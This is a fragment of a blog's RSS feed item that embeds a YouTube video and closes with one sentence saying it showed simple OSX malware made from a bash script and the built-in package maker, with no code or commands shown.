<p><a href="http://www.youtube.com/watch?v=Zkdot-R8n6U"><img src="http://img.youtube.com/vi/Zkdot-R8n6U/2.jpg"></a></p>
<p><a href="http://www.youtube.com/watch?v=Zkdot-R8n6U">Click here</a> to view the video on YouTube.</p>

<p>&nbsp;</p>
<p>So there you have IT, OSX malware using nothing more than a bash script and the built in package maker utility.</p>
]]></content:encoded>
			<wfw:commentRss>http://forkbombers.com/2012/02/01/simple-osx-malware/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

